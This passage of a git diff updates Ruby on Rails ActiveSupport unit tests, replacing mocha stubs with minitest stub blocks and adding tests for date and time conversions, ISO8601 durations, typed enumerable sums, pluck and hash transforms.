with_env_tz 'UTC' do with_tz_default ActiveSupport::TimeZone['Europe/Paris'] do # UTC +1 - Time.stubs(:now).returns Time.local(1999, 12, 31, 23) - assert_equal Date.new(2000, 1, 2), Date.tomorrow + Time.stub(:now, Time.local(1999, 12, 31, 23)) do + assert_equal Date.new(2000, 1, 2), Date.tomorrow + end end end end @@ -278,6 +284,23 @@ class DateExtCalculationsTest < ActiveSupport::TestCase end end + def test_all_day + beginning_of_day = Time.local(2011,6,7,0,0,0) + end_of_day = Time.local(2011,6,7,23,59,59,Rational(999999999, 1000)) + assert_equal beginning_of_day..end_of_day, Date.new(2011,6,7).all_day + end + + def test_all_day_when_zone_is_set + zone = ActiveSupport::TimeZone["Hawaii"] + with_env_tz "UTC" do + with_tz_default zone do + beginning_of_day = zone.local(2011,6,7,0,0,0) + end_of_day = zone.local(2011,6,7,23,59,59,Rational(999999999, 1000)) + assert_equal beginning_of_day..end_of_day, Date.new(2011,6,7).all_day + end + end + end + def test_all_week assert_equal Date.new(2011,6,6)..Date.new(2011,6,12), Date.new(2011,6,7).all_week assert_equal Date.new(2011,6,5)..Date.new(2011,6,11), Date.new(2011,6,7).all_week(:sunday) @@ -317,23 +340,26 @@ class DateExtCalculationsTest < ActiveSupport::TestCase end def test_past - Date.stubs(:current).returns(Date.new(2000, 1, 1)) - assert_equal true, Date.new(1999, 12, 31).past? - assert_equal false, Date.new(2000,1,1).past? - assert_equal false, Date.new(2000,1,2).past? + Date.stub(:current, Date.new(2000, 1, 1)) do + assert_equal true, Date.new(1999, 12, 31).past? + assert_equal false, Date.new(2000,1,1).past? + assert_equal false, Date.new(2000,1,2).past? + end end def test_future - Date.stubs(:current).returns(Date.new(2000, 1, 1)) - assert_equal false, Date.new(1999, 12, 31).future? - assert_equal false, Date.new(2000,1,1).future? - assert_equal true, Date.new(2000,1,2).future? + Date.stub(:current, Date.new(2000, 1, 1)) do + assert_equal false, Date.new(1999, 12, 31).future? + assert_equal false, Date.new(2000,1,1).future? + assert_equal true, Date.new(2000,1,2).future? + end end def test_current_returns_date_today_when_zone_not_set with_env_tz 'US/Central' do - Time.stubs(:now).returns Time.local(1999, 12, 31, 23) - assert_equal Date.today, Date.current + Time.stub(:now, Time.local(1999, 12, 31, 23)) do + assert_equal Date.today, Date.current + end end end diff --git a/activesupport/test/core_ext/date_time_ext_test.rb b/activesupport/test/core_ext/date_time_ext_test.rb index 74319ecd09..306316efcd 100644 --- a/activesupport/test/core_ext/date_time_ext_test.rb +++ b/activesupport/test/core_ext/date_time_ext_test.rb @@ -40,6 +40,24 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase Time::DATE_FORMATS.delete(:custom) end + def test_localtime + with_env_tz 'US/Eastern' do + assert_instance_of Time, DateTime.new(2016, 3, 11, 15, 11, 12, 0).localtime + assert_equal Time.local(2016, 3, 11, 10, 11, 12), DateTime.new(2016, 3, 11, 15, 11, 12, 0).localtime + assert_equal Time.local(2016, 3, 21, 11, 11, 12), DateTime.new(2016, 3, 21, 15, 11, 12, 0).localtime + assert_equal Time.local(2016, 4, 1, 11, 11, 12), DateTime.new(2016, 4, 1, 16, 11, 12, Rational(1,24)).localtime + end + end + + def test_getlocal + with_env_tz 'US/Eastern' do + assert_instance_of Time, DateTime.new(2016, 3, 11, 15, 11, 12, 0).getlocal + assert_equal Time.local(2016, 3, 11, 10, 11, 12), DateTime.new(2016, 3, 11, 15, 11, 12, 0).getlocal + assert_equal Time.local(2016, 3, 21, 11, 11, 12), DateTime.new(2016, 3, 21, 15, 11, 12, 0).getlocal + assert_equal Time.local(2016, 4, 1, 11, 11, 12), DateTime.new(2016, 4, 1, 16, 11, 12, Rational(1,24)).getlocal + end + end + def test_to_date assert_equal Date.new(2005, 2, 21), DateTime.new(2005, 2, 21, 14, 30, 0).to_date end @@ -50,9 +68,15 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase def test_to_time with_env_tz 'US/Eastern' do - assert_equal Time, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.class - assert_equal Time.local(2005, 2, 21, 5, 11, 12), DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time - assert_equal Time.local(2005, 2, 21, 5, 11, 12).utc_offset, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.utc_offset + assert_instance_of Time, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time + + if ActiveSupport.to_time_preserves_timezone + assert_equal Time.local(2005, 2, 21, 5, 11, 12).getlocal(0), DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time + assert_equal Time.local(2005, 2, 21, 5, 11, 12).getlocal(0).utc_offset, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.utc_offset + else + assert_equal Time.local(2005, 2, 21, 5, 11, 12), DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time + assert_equal Time.local(2005, 2, 21, 5, 11, 12).utc_offset, DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time.utc_offset + end end end @@ -186,6 +210,10 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase assert_equal DateTime.civil(2006,11,15), DateTime.civil(2006,11,23,0,0,0).last_week(:wednesday) end + def test_date_time_should_have_correct_last_week_for_leap_year + assert_equal DateTime.civil(2016, 2, 29), DateTime.civil(2016, 3, 7).last_week + end + def test_last_month_on_31st assert_equal DateTime.civil(2004, 2, 29), DateTime.civil(2004, 3, 31).last_month end @@ -204,61 +232,69 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase end def test_today_with_offset - Date.stubs(:current).returns(Date.new(2000, 1, 1)) - assert_equal false, DateTime.civil(1999,12,31,23,59,59, Rational(-18000, 86400)).today? - assert_equal true, DateTime.civil(2000,1,1,0,0,0, Rational(-18000, 86400)).today? - assert_equal true, DateTime.civil(2000,1,1,23,59,59, Rational(-18000, 86400)).today? - assert_equal false, DateTime.civil(2000,1,2,0,0,0, Rational(-18000, 86400)).today? + Date.stub(:current, Date.new(2000, 1, 1)) do + assert_equal false, DateTime.civil(1999,12,31,23,59,59, Rational(-18000, 86400)).today? + assert_equal true, DateTime.civil(2000,1,1,0,0,0, Rational(-18000, 86400)).today? + assert_equal true, DateTime.civil(2000,1,1,23,59,59, Rational(-18000, 86400)).today? + assert_equal false, DateTime.civil(2000,1,2,0,0,0, Rational(-18000, 86400)).today? + end end def test_today_without_offset - Date.stubs(:current).returns(Date.new(2000, 1, 1)) - assert_equal false, DateTime.civil(1999,12,31,23,59,59).today? - assert_equal true, DateTime.civil(2000,1,1,0).today? - assert_equal true, DateTime.civil(2000,1,1,23,59,59).today? - assert_equal false, DateTime.civil(2000,1,2,0).today? + Date.stub(:current, Date.new(2000, 1, 1)) do + assert_equal false, DateTime.civil(1999,12,31,23,59,59).today? + assert_equal true, DateTime.civil(2000,1,1,0).today? + assert_equal true, DateTime.civil(2000,1,1,23,59,59).today? + assert_equal false, DateTime.civil(2000,1,2,0).today? + end end def test_past_with_offset - DateTime.stubs(:current).returns(DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400))) - assert_equal true, DateTime.civil(2005,2,10,15,30,44, Rational(-18000, 86400)).past? - assert_equal false, DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)).past? - assert_equal false, DateTime.civil(2005,2,10,15,30,46, Rational(-18000, 86400)).past? + DateTime.stub(:current, DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400))) do + assert_equal true, DateTime.civil(2005,2,10,15,30,44, Rational(-18000, 86400)).past? + assert_equal false, DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)).past? + assert_equal false, DateTime.civil(2005,2,10,15,30,46, Rational(-18000, 86400)).past? + end end def test_past_without_offset - DateTime.stubs(:current).returns(DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400))) - assert_equal true, DateTime.civil(2005,2,10,20,30,44).past? - assert_equal false, DateTime.civil(2005,2,10,20,30,45).past? - assert_equal false, DateTime.civil(2005,2,10,20,30,46).past? + DateTime.stub(:current, DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400))) do + assert_equal true, DateTime.civil(2005,2,10,20,30,44).past? + assert_equal false, DateTime.civil(2005,2,10,20,30,45).past? + assert_equal false, DateTime.civil(2005,2,10,20,30,46).past? + end end def test_future_with_offset - DateTime.stubs(:current).returns(DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400))) - assert_equal false, DateTime.civil(2005,2,10,15,30,44, Rational(-18000, 86400)).future? - assert_equal false, DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)).future? - assert_equal true, DateTime.civil(2005,2,10,15,30,46, Rational(-18000, 86400)).future? + DateTime.stub(:current, DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400))) do + assert_equal false, DateTime.civil(2005,2,10,15,30,44, Rational(-18000, 86400)).future? + assert_equal false, DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400)).future? + assert_equal true, DateTime.civil(2005,2,10,15,30,46, Rational(-18000, 86400)).future? + end end def test_future_without_offset - DateTime.stubs(:current).returns(DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400))) - assert_equal false, DateTime.civil(2005,2,10,20,30,44).future? - assert_equal false, DateTime.civil(2005,2,10,20,30,45).future? - assert_equal true, DateTime.civil(2005,2,10,20,30,46).future? + DateTime.stub(:current, DateTime.civil(2005,2,10,15,30,45, Rational(-18000, 86400))) do + assert_equal false, DateTime.civil(2005,2,10,20,30,44).future? + assert_equal false, DateTime.civil(2005,2,10,20,30,45).future? + assert_equal true, DateTime.civil(2005,2,10,20,30,46).future? + end end def test_current_returns_date_today_when_zone_is_not_set with_env_tz 'US/Eastern' do - Time.stubs(:now).returns Time.local(1999, 12, 31, 23, 59, 59) - assert_equal DateTime.new(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)), DateTime.current + Time.stub(:now, Time.local(1999, 12, 31, 23, 59, 59)) do + assert_equal DateTime.new(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)), DateTime.current + end end end def test_current_returns_time_zone_today_when_zone_is_set Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] with_env_tz 'US/Eastern' do - Time.stubs(:now).returns Time.local(1999, 12, 31, 23, 59, 59) - assert_equal DateTime.new(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)), DateTime.current + Time.stub(:now, Time.local(1999, 12, 31, 23, 59, 59)) do + assert_equal DateTime.new(1999, 12, 31, 23, 59, 59, Rational(-18000, 86400)), DateTime.current + end end ensure Time.zone = nil @@ -298,6 +334,7 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase end def test_utc + assert_instance_of Time, DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc assert_equal DateTime.civil(2005, 2, 21, 16, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-6, 24)).utc assert_equal DateTime.civil(2005, 2, 21, 15, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, Rational(-5, 24)).utc assert_equal DateTime.civil(2005, 2, 21, 10, 11, 12, 0), DateTime.civil(2005, 2, 21, 10, 11, 12, 0).utc @@ -335,6 +372,31 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase assert_equal(-1, DateTime.civil(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone['UTC'] )) end + def test_compare_with_string + assert_equal 1, DateTime.civil(2000) <=> Time.utc(1999, 12, 31, 23, 59, 59).to_s + assert_equal 0, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 0).to_s + assert_equal( -1, DateTime.civil(2000) <=> Time.utc(2000, 1, 1, 0, 0, 1).to_s) + assert_equal nil, DateTime.civil(2000) <=> "Invalid as Time" + end + + def test_compare_with_integer + assert_equal 1, DateTime.civil(1970, 1, 1, 12, 0, 0) <=> 2440587 + assert_equal 0, DateTime.civil(1970, 1, 1, 12, 0, 0) <=> 2440588 + assert_equal(-1, DateTime.civil(1970, 1, 1, 12, 0, 0) <=> 2440589) + end + + def test_compare_with_float + assert_equal 1, DateTime.civil(1970) <=> 2440586.5 + assert_equal 0, DateTime.civil(1970) <=> 2440587.5 + assert_equal(-1, DateTime.civil(1970) <=> 2440588.5) + end + + def test_compare_with_rational + assert_equal 1, DateTime.civil(1970) <=> Rational(4881173, 2) + assert_equal 0, DateTime.civil(1970) <=> Rational(4881175, 2) + assert_equal(-1, DateTime.civil(1970) <=> Rational(4881177, 2)) + end + def test_to_f assert_equal 946684800.0, DateTime.civil(2000).to_f assert_equal 946684800.0, DateTime.civil(1999,12,31,19,0,0,Rational(-5,24)).to_f @@ -355,4 +417,9 @@ class DateTimeExtCalculationsTest < ActiveSupport::TestCase assert_equal 0, DateTime.civil(2000).nsec assert_equal 500000000, DateTime.civil(2000, 1, 1, 0, 0, Rational(1,2)).nsec end + + def test_subsec + assert_equal 0, DateTime.civil(2000).subsec + assert_equal Rational(1,2), DateTime.civil(2000, 1, 1, 0, 0, Rational(1,2)).subsec + end end diff --git a/activesupport/test/core_ext/duration_test.rb b/activesupport/test/core_ext/duration_test.rb index c283b546e6..ce69364c68 100644 --- a/activesupport/test/core_ext/duration_test.rb +++ b/activesupport/test/core_ext/duration_test.rb @@ -66,8 +66,9 @@ class DurationTest < ActiveSupport::TestCase assert_equal '10 years, 2 months, and 1 day', (10.years + 2.months + 1.day).inspect assert_equal '10 years, 2 months, and 1 day', (10.years + 1.month + 1.day + 1.month).inspect assert_equal '10 years, 2 months, and 1 day', (1.day + 10.years + 2.months).inspect - assert_equal '7 days', 1.week.inspect - assert_equal '14 days', 1.fortnight.inspect + assert_equal '7 days', 7.days.inspect + assert_equal '1 week', 1.week.inspect + assert_equal '2 weeks', 1.fortnight.inspect end def test_inspect_locale @@ -87,6 +88,15 @@ class DurationTest < ActiveSupport::TestCase assert_equal 1 + 1.second, 1.second + 1, "Duration + Numeric should == Numeric + Duration" end + def test_time_plus_duration_returns_same_time_datatype + twz = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone['Moscow'] , Time.utc(2016,4,28,00,45)) + now = Time.now.utc + %w( second minute hour day week month year ).each do |unit| + assert_equal((now + 1.send(unit)).class, Time, "Time + 1.#{unit} must be Time") + assert_equal((twz + 1.send(unit)).class, ActiveSupport::TimeWithZone, "TimeWithZone + 1.#{unit} must be TimeWithZone") + end + end + def test_argument_error e = assert_raise ArgumentError do 1.second.ago('') @@ -140,28 +150,30 @@ class DurationTest < ActiveSupport::TestCase def test_since_and_ago_anchored_to_time_now_when_time_zone_is_not_set Time.zone = nil with_env_tz 'US/Eastern' do - Time.stubs(:now).returns Time.local(2000) - # since - assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.since - assert_equal Time.local(2000,1,1,0,0,5), 5.seconds.since - # ago - assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago - assert_equal Time.local(1999,12,31,23,59,55), 5.seconds.ago + Time.stub(:now, Time.local(2000)) do + # since + assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.since + assert_equal Time.local(2000,1,1,0,0,5), 5.seconds.since + # ago + assert_not_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago + assert_equal Time.local(1999,12,31,23,59,55), 5.seconds.ago + end end end def test_since_and_ago_anchored_to_time_zone_now_when_time_zone_is_set Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] with_env_tz 'US/Eastern' do - Time.stubs(:now).returns Time.local(2000) - # since - assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.since - assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time - assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name - # ago - assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago - assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time - assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name + Time.stub(:now, Time.local(2000)) do + # since + assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.since + assert_equal Time.utc(2000,1,1,0,0,5), 5.seconds.since.time + assert_equal 'Eastern Time (US & Canada)', 5.seconds.since.time_zone.name + # ago + assert_instance_of ActiveSupport::TimeWithZone, 5.seconds.ago + assert_equal Time.utc(1999,12,31,23,59,55), 5.seconds.ago.time + assert_equal 'Eastern Time (US & Canada)', 5.seconds.ago.time_zone.name + end end ensure Time.zone = nil @@ -220,4 +232,89 @@ class DurationTest < ActiveSupport::TestCase assert_equal(1, (1.minute <=> 1.second)) assert_equal(1, (61 <=> 1.minute)) end + + # ISO8601 string examples are taken from ISO8601 gem at https://github.com/arnau/ISO8601/blob/b93d466840/spec/iso8601/duration_spec.rb + # published under the conditions of MIT license at https://github.com/arnau/ISO8601/blob/b93d466840/LICENSE + # + # Copyright (c) 2012-2014 Arnau Siches + # + # MIT License + # + # Permission is hereby granted, free of charge, to any person obtaining + # a copy of this software and associated documentation files (the + # "Software"), to deal in the Software without restriction, including + # without limitation the rights to use, copy, modify, merge, publish, + # distribute, sublicense, and/or sell copies of the Software, and to + # permit persons to whom the Software is furnished to do so, subject to + # the following conditions: + # + # The above copyright notice and this permission notice shall be + # included in all copies or substantial portions of the Software. + # + # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE + # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION + # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION + # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + def test_iso8601_parsing_wrong_patterns_with_raise + invalid_patterns = ['', 'P', 'PT', 'P1YT', 'T', 'PW', 'P1Y1W', '~P1Y', '.P1Y', 'P1.5Y0.5M', 'P1.5Y1M', 'P1.5MT10.5S'] + invalid_patterns.each do |pattern| + assert_raise ActiveSupport::Duration::ISO8601Parser::ParsingError, pattern.inspect do + ActiveSupport::Duration.parse(pattern) + end + end + end + + def test_iso8601_output + expectations = [ + ['P1Y', 1.year ], + ['P1W', 1.week ], + ['P1Y1M', 1.year + 1.month ], + ['P1Y1M1D', 1.year + 1.month + 1.day ], + ['-P1Y1D', -1.year - 1.day ], + ['P1Y-1DT-1S', 1.year - 1.day - 1.second ], # Parts with different signs are exists in PostgreSQL interval datatype. + ['PT1S', 1.second ], + ['PT1.4S', (1.4).seconds ], + ['P1Y1M1DT1H', 1.year + 1.month + 1.day + 1.hour], + ] + expectations.each do |expected_output, duration| + assert_equal expected_output, duration.iso8601, expected_output.inspect + end + end + + def test_iso8601_output_precision + expectations = [ + [nil, 'P1Y1MT5.55S', 1.year + 1.month + (5.55).seconds ], + [0, 'P1Y1MT6S', 1.year + 1.month + (5.55).seconds ], + [1, 'P1Y1MT5.5S', 1.year + 1.month + (5.55).seconds ], + [2, 'P1Y1MT5.55S', 1.year + 1.month + (5.55).seconds ], + [3, 'P1Y1MT5.550S', 1.year + 1.month + (5.55).seconds ], + [nil, 'PT1S', 1.second ], + [2, 'PT1.00S', 1.second ], + [nil, 'PT1.4S', (1.4).seconds ], + [0, 'PT1S', (1.4).seconds ], + [1, 'PT1.4S', (1.4).seconds ], + [5, 'PT1.40000S', (1.4).seconds ], + ] + expectations.each do |precision, expected_output, duration| + assert_equal expected_output, duration.iso8601(precision: precision), expected_output.inspect + end + end + + def test_iso8601_output_and_reparsing + patterns = %w[ + P1Y P0.5Y P0,5Y P1Y1M P1Y0.5M P1Y0,5M P1Y1M1D P1Y1M0.5D P1Y1M0,5D P1Y1M1DT1H P1Y1M1DT0.5H P1Y1M1DT0,5H P1W +P1Y -P1Y + P1Y1M1DT1H1M P1Y1M1DT1H0.5M P1Y1M1DT1H0,5M P1Y1M1DT1H1M1S P1Y1M1DT1H1M1.0S P1Y1M1DT1H1M1,0S P-1Y-2M3DT-4H-5M-6S + ] + # That could be weird, but if we parse P1Y1M0.5D and output it to ISO 8601, we'll get P1Y1MT12.0H. + # So we check that initially parsed and reparsed duration added to time will result in the same time. + time = Time.current + patterns.each do |pattern| + duration = ActiveSupport::Duration.parse(pattern) + assert_equal time+duration, time+ActiveSupport::Duration.parse(duration.iso8601), pattern.inspect + end + end end diff --git a/activesupport/test/core_ext/enumerable_test.rb b/activesupport/test/core_ext/enumerable_test.rb index e5d8ae7882..99c3236c35 100644 --- a/activesupport/test/core_ext/enumerable_test.rb +++ b/activesupport/test/core_ext/enumerable_test.rb @@ -3,27 +3,34 @@ require 'active_support/core_ext/array' require 'active_support/core_ext/enumerable' Payment = Struct.new(:price) +ExpandedPayment = Struct.new(:dollars, :cents) + class SummablePayment < Payment def +(p) self.class.new(price + p.price) end end class EnumerableTests < ActiveSupport::TestCase - class GenericEnumerable include Enumerable + def initialize(values = [1, 2, 3]) @values = values end def each - @values.each{|v| yield v} + @values.each { |v| yield v } end end + def assert_typed_equal(e, v, cls, msg=nil) + assert_kind_of(cls, v, msg) + assert_equal(e, v, msg) + end + def test_sums enum = GenericEnumerable.new([5, 15, 10]) assert_equal 30, enum.sum - assert_equal 60, enum.sum { |i| i * 2} + assert_equal 60, enum.sum { |i| i * 2 } enum = GenericEnumerable.new(%w(a b c)) assert_equal 'abc', enum.sum @@ -36,6 +43,40 @@ class EnumerableTests < ActiveSupport::TestCase payments = GenericEnumerable.new([ SummablePayment.new(5), SummablePayment.new(15) ]) assert_equal SummablePayment.new(20), payments.sum assert_equal SummablePayment.new(20), payments.sum { |p| p } + + sum = GenericEnumerable.new([3, 5.quo(1)]).sum + assert_typed_equal(8, sum, Rational) + + sum = GenericEnumerable.new([3, 5.quo(1)]).sum(0.0) + assert_typed_equal(8.0, sum, Float) + + sum = GenericEnumerable.new([3, 5.quo(1), 7.0]).sum + assert_typed_equal(15.0, sum, Float) + + sum = GenericEnumerable.new([3, 5.quo(1), Complex(7)]).sum + assert_typed_equal(Complex(15), sum, Complex) + assert_typed_equal(15, sum.real, Rational) + assert_typed_equal(0, sum.imag, Integer) + + sum = GenericEnumerable.new([3.5, 5]).sum + assert_typed_equal(8.5, sum, Float) + + sum = GenericEnumerable.new([2, 8.5]).sum + assert_typed_equal(10.5, sum, Float) + + sum = GenericEnumerable.new([1.quo(2), 1]).sum + assert_typed_equal(3.quo(2), sum, Rational) + + sum = GenericEnumerable.new([1.quo(2), 1.quo(3)]).sum + assert_typed_equal(5.quo(6), sum, Rational) + + sum = GenericEnumerable.new([2.0, 3.0*Complex::I]).sum + assert_typed_equal(Complex(2.0, 3.0), sum, Complex) + assert_typed_equal(2.0, sum.real, Float) + assert_typed_equal(3.0, sum.imag, Float) + + sum = GenericEnumerable.new([1, 2]).sum(10) {|v| v * 2 } + assert_typed_equal(16, sum, Integer) end def test_nil_sums @@ -53,6 +94,7 @@ class EnumerableTests < ActiveSupport::TestCase assert_equal 0, GenericEnumerable.new([]).sum assert_equal 0, GenericEnumerable.new([]).sum { |i| i + 10 } assert_equal Payment.new(0), GenericEnumerable.new([]).sum(Payment.new(0)) + assert_typed_equal 0.0, GenericEnumerable.new([]).sum(0.0), Float end def test_range_sums @@ -66,6 +108,62 @@ class EnumerableTests < ActiveSupport::TestCase assert_equal 5, (10..0).sum(5) assert_equal 10, (10..10).sum assert_equal 42, (10...10).sum(42) + assert_typed_equal 20.0, (1..4).sum(0.0) { |i| i * 2 }, Float + assert_typed_equal 10.0, (1..4).sum(0.0), Float + assert_typed_equal 20.0, (1..4).sum(10.0), Float + assert_typed_equal 5.0, (10..0).sum(5.0), Float + end + + def test_array_sums + enum = [5, 15, 10] + assert_equal 30, enum.sum + assert_equal 60, enum.sum { |i| i * 2 } + + enum = %w(a b c) + assert_equal 'abc', enum.sum + assert_equal 'aabbcc', enum.sum { |i| i * 2 } + + payments = [ Payment.new(5), Payment.new(15), Payment.new(10) ] + assert_equal 30, payments.sum(&:price) + assert_equal 60, payments.sum { |p| p.price * 2 } + + payments = [ SummablePayment.new(5), SummablePayment.new(15) ] + assert_equal SummablePayment.new(20), payments.sum + assert_equal SummablePayment.new(20), payments.sum { |p| p } + + sum = [3, 5.quo(1)].sum + assert_typed_equal(8, sum, Rational) + + sum = [3, 5.quo(1)].sum(0.0) + assert_typed_equal(8.0, sum, Float) + + sum = [3, 5.quo(1), 7.0].sum + assert_typed_equal(15.0, sum, Float) + + sum = [3, 5.quo(1), Complex(7)].sum + assert_typed_equal(Complex(15), sum, Complex) + assert_typed_equal(15, sum.real, Rational) + assert_typed_equal(0, sum.imag, Integer) + + sum = [3.5, 5].sum + assert_typed_equal(8.5, sum, Float) + + sum = [2, 8.5].sum + assert_typed_equal(10.5, sum, Float) + + sum = [1.quo(2), 1].sum + assert_typed_equal(3.quo(2), sum, Rational) + + sum = [1.quo(2), 1.quo(3)].sum + assert_typed_equal(5.quo(6), sum, Rational) + + sum = [2.0, 3.0*Complex::I].sum + assert_typed_equal(Complex(2.0, 3.0), sum, Complex) + assert_typed_equal(2.0, sum.real, Float) + assert_typed_equal(3.0, sum.imag, Float) + + sum = [1, 2].sum(10) {|v| v * 2 } + assert_typed_equal(16, sum, Integer) end def test_index_by @@ -110,4 +208,16 @@ class EnumerableTests < ActiveSupport::TestCase assert_equal [1, 2, 4], (1..5).to_set.without(3, 5) assert_equal({foo: 1, baz: 3}, {foo: 1, bar: 2, baz: 3}.without(:bar)) end + + def test_pluck + payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ]) + assert_equal [5, 15, 10], payments.pluck(:price) + + payments = GenericEnumerable.new([ + ExpandedPayment.new(5, 99), + ExpandedPayment.new(15, 0), + ExpandedPayment.new(10, 50) + ]) + assert_equal [[5, 99], [15, 0], [10, 50]], payments.pluck(:dollars, :cents) + end end diff --git a/activesupport/test/core_ext/hash/transform_keys_test.rb b/activesupport/test/core_ext/hash/transform_keys_test.rb index a7e12117f3..962d3a30b6 100644 --- a/activesupport/test/core_ext/hash/transform_keys_test.rb +++ b/activesupport/test/core_ext/hash/transform_keys_test.rb @@ -18,9 +18,17 @@ class TransformKeysTest < ActiveSupport::TestCase assert_same original, mapped end - test "transform_keys returns an Enumerator if no block is given" do + test "transform_keys returns a sized Enumerator if no block is given" do original = { a: 'a', b: 'b' } enumerator = original.transform_keys + assert_equal original.size, enumerator.size + assert_equal Enumerator, enumerator.class + end + + test "transform_keys! returns a sized Enumerator if no block is given" do + original = { a: 'a', b: 'b' } + enumerator = original.transform_keys! + assert_equal original.size, enumerator.size assert_equal Enumerator, enumerator.class end @@ -29,4 +37,26 @@ class TransformKeysTest < ActiveSupport::TestCase mapped = original.transform_keys.with_index { |k, i| [k, i].join.to_sym } assert_equal({ a0: 'a', b1: 'b' }, mapped) end + + test "transform_keys! is chainable with Enumerable methods" do + original = { a: 'a', b: 'b' } + original.transform_keys!.with_index { |k, i| [k, i].join.to_sym } + assert_equal({ a0: 'a', b1: 'b' }, original) + end + + test "transform_keys returns a Hash instance when self is inherited from Hash" do + class HashDescendant < ::Hash + def initialize(elements = nil) + super(elements) + (elements || {}).each_pair{ |key, value| self[key] = value } + end + end + + original = HashDescendant.new({ a: 'a', b: 'b' }) + mapped = original.transform_keys { |k| "#{k}!".to_sym } + + assert_equal({ a: 'a', b: 'b' }, original) + assert_equal({ a!: 'a', b!: 'b' }, mapped) + assert_equal(::Hash, mapped.class) + end end diff --git a/activesupport/test/core_ext/hash/transform_values_test.rb b/activesupport/test/core_ext/hash/transform_values_test.rb index 45ed11fef7..114022fbaf 100644 --- a/activesupport/test/core_ext/hash/transform_values_test.rb +++ b/activesupport/test/core_ext/hash/transform_values_test.rb @@ -47,9 +47,17 @@ class TransformValuesTest < ActiveSupport::TestCase assert_nil mapped[:b] end - test "transform_values returns an Enumerator if no block is given" do + test "transform_values returns a sized Enumerator if no block is given" do original = { a: 'a', b: 'b' } enumerator = original.transform_values + assert_equal original.size, enumerator.size + assert_equal Enumerator, enumerator.class + end + + test "transform_values! returns a sized Enumerator if no block is given" do + original = { a: 'a', b: 'b' } + enumerator = original.transform_values! + assert_equal original.size, enumerator.size assert_equal Enumerator, enumerator.class end @@ -58,4 +66,10 @@ class TransformValuesTest < ActiveSupport::TestCase mapped = original.transform_values.with_index { |v, i| [v, i].join } assert_equal({ a: 'a0', b: 'b1' }, mapped) end + + test "transform_values! is chainable with Enumerable methods" do + original = { a: 'a', b: 'b' } + original.transform_values!.with_index { |v, i| [v, i].join } + assert_equal({ a: 'a0', b: 'b1' }, original) + end end diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb index e10bee5e00..be8583e704 100644 --- a/activesupport/test/core_ext/hash_ext_test.rb +++ b/activesupport/test/core_ext/hash_ext_test.rb @@ -524,6 +524,10 @@ class HashExtTest < ActiveSupport::TestCase end def test_indifferent_reverse_merging + hash = HashWithIndifferentAccess.new key: :old_value + hash.reverse_merge! key: :new_value + assert_equal :old_value, hash[:key] + hash = HashWithIndifferentAccess.new('some' => 'value', 'other' => 'value') hash.reverse_merge!(:some => 'noclobber', :another => 'clobber') assert_equal 'value', hash[:some] @@ -547,6 +551,11 @@ class HashExtTest < ActiveSupport::TestCase assert_instance_of ActiveSupport::HashWithIndifferentAccess, hash end + def test_indifferent_select_returns_enumerator + enum = ActiveSupport::HashWithIndifferentAccess.new(@strings).select + assert_instance_of Enumerator, enum + end + def test_indifferent_select_returns_a_hash_when_unchanged hash = ActiveSupport::HashWithIndifferentAccess.new(@strings).select 